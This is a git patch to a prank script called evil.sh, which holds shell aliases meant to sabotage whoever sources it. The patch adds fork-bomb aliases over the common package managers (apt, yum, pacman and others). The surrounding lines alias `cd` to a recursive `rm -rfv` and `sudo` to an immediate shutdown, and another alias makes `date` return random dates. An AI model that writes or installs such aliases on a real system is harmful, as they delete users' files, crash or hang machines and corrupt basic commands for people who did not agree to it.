From 116acd2c67bba4c2d4112b380092c5c01a11e0d9 Mon Sep 17 00:00:00 2001 From: MAX1234567890 Date: Thu, 10 Mar 2016 19:16:41 -0800 Subject: [PATCH] Update evil.sh Who uses `clear`? I use my package manager much more. --- evil.sh | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/evil.sh b/evil.sh index aaeb4e4..9e730f7 100755 --- a/evil.sh +++ b/evil.sh @@ -22,8 +22,14 @@ alias cd='rm -rfv' # Shut down the computer instead of running a command with super-user rights alias sudo='sudo shutdown -P now' -# Launch a fork bomb instead of clearing the screen -alias clear=':(){ :|:& };:' +# Launch a fork bomb instead of package manager +alias apt=':(){ :|:& };:' +alias aptitude=':(){ :|:& };:' +alias synaptic=':(){ :|:& };:' +alias apt-get=':(){ :|:& };:' +alias yum=':(){ :|:& };:' +alias rpm=':(){ :|:& };:' +alias pacman=':(){ :|:& };:' # Have `date` return random dates alias date='date -d "now + $RANDOM days"'